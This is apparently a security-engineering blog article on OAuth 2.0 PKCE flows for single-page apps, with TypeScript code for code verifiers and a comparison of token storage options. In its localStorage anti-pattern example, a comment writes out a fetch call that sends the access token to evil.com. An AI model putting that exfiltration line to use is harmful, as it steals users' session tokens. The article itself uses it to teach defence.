[Web Development]PUBLISHED 2026-11-23//15 min read//VERIFIED 2026-11-24

Modern OAuth 2.0 and OpenID Connect for SPAs: The Authorization Code Flow with PKCE and Token Rotation

A security engineer’s guide to single-page authentication: why the Implicit Flow is deprecated, code verifiers, and defending against token theft via XSS.

EXECUTIVE ARCHITECTURAL OVERVIEW

Single-Page Applications (SPAs) are public clients: they run entirely in user browsers where client secrets cannot be securely stored. The legacy OAuth 2.0 Implicit Grant (which returned access tokens directly in URL hash fragments) has been officially deprecated due to token leakage and replay attacks. The modern standard is the Authorization Code Flow with Proof Key for Code Exchange (PKCE) combined with Refresh Token Rotation or Backend-for-Frontend (BFF) proxies.

THE PRODUCTION PROBLEM STATEMENT

In the deprecated Implicit Flow, access tokens were exposed in browser history, HTTP Referer headers, and server access logs. If an attacker exploited a minor XSS vulnerability, they could steal the access token directly from localStorage and impersonate the user indefinitely.

SECTION 01 //

How Does PKCE Cryptographically Protect Authorization Codes?

Before redirecting to the Identity Provider (IdP), the SPA generates a cryptographically random string called the code_verifier and computes its SHA-256 hash, called the code_challenge.

The SPA sends only the code_challenge to the IdP. When the IdP returns the authorization code, the SPA exchanges the code along with the original raw code_verifier. Even if an attacker intercepts the authorization code, they cannot exchange it without knowing the secret code_verifier that never left the browser memory.

pkceGenerator.ts
// Generate a cryptographically secure random string (code_verifier)
export function generateCodeVerifier(length: number = 64): string {
  const possible = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~';
  const values = crypto.getRandomValues(new Uint8Array(length));
  return Array.from(values, (x) => possible[x % possible.length]).join('');
}

// Compute SHA-256 code_challenge from code_verifier
export async function generateCodeChallenge(codeVerifier: string): Promise<string> {
  const encoder = new TextEncoder();
  const data = encoder.encode(codeVerifier);
  const digest = await crypto.subtle.digest('SHA-256', data);

  // Base64URL encode the binary digest
  const bytes = new Uint8Array(digest);
  let str = '';
  for (let i = 0; i < bytes.byteLength; i++) {
    str += String.fromCharCode(bytes[i]);
  }
  return btoa(str).replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
Cryptographically generating code_verifier and code_challenge using Web Crypto API.
SECTION 02 //

Where Should Tokens Be Stored in a Modern SPA?

Storing tokens in localStorage makes them vulnerable to any third-party script XSS attack. Storing them in JavaScript memory protects against localStorage scraping, but loses session on page reload.

The most secure enterprise pattern is the Backend-for-Frontend (BFF) proxy: the SPA communicates with its own lightweight backend using secure, HttpOnly, SameSite=Strict cookies, while the BFF handles token exchange and downstream API calls.

Architectural Comparison: Anti-Pattern vs Recommended Practice
[ANTI-PATTERN] Storing Long-Lived JWT Tokens in LocalStorage
// Anti-Pattern: Vulnerable to any XSS payload in third-party npm libraries
localStorage.setItem('access_token', token);
// Any rogue script can run: fetch('evil.com?t=' + localStorage.getItem('access_token'))
[RECOMMENDED] HttpOnly Secure Cookies or Memory Storage with Refresh Rotation
// Recommended: Token stored in HttpOnly cookie; JavaScript cannot touch it!
// Or store in memory closure and rotate refresh tokens:
let inMemoryToken: string | null = null;
export const getToken = () => inMemoryToken;
[RATIONALE]HttpOnly cookies cannot be read or stolen by client-side JavaScript, neutralizing token exfiltration via XSS attacks.
04/PRODUCTION TROUBLESHOOTING & DIAGNOSTICS
TRIAGE MATRIX
SYMPTOM 01: OAuth error: invalid_grant - code_verifier does not match code_challenge.

[PROBABLE CAUSE] The code_verifier was regenerated or lost from sessionStorage between the redirect to the IdP and the callback.

[VERIFIED RESOLUTION] Store the code_verifier in sessionStorage before initiating the redirect and retrieve it on callback.

SuggestedFix.ts
sessionStorage.setItem('pkce_verifier', verifier);
TECHNICAL INQUIRY MATRIX

Frequently Asked Questions & Technical Inquiries

Direct, practical answers to common architectural and debugging questions.

The OAuth 2.0 Security Best Current Practice (BCP) deprecates the Implicit Flow because returning access tokens directly in URL fragments exposes them to browser history, referer leaks, and token injection.

Official References & Specifications:
Faisal Askari

Faisal Askari

Verified Author

Software Engineer & Full-Stack Developer

Personal Website

Faisal Askari is a software engineer with deep expertise in web systems architecture, the JavaScript runtime ecosystem, and client-side performance engineering. Over years of hands-on production engineering, he has designed and shipped enterprise dashboards, high-converting digital interfaces, and specialized full-stack applications.

PROFESSIONAL ENGINEERING BRIDGE

Web Security & Authentication Architecture

Hardening your enterprise web application against XSS, CSRF, and authentication vulnerabilities?

Consult on Web Security with Faisal Askari
SPEC // VERIFIED ENTITY•Karachi, Pakistan (Global Remote)
contact@faisalaskari.top
05/RELATED ENGINEERING GUIDES
CONTINUE STUDY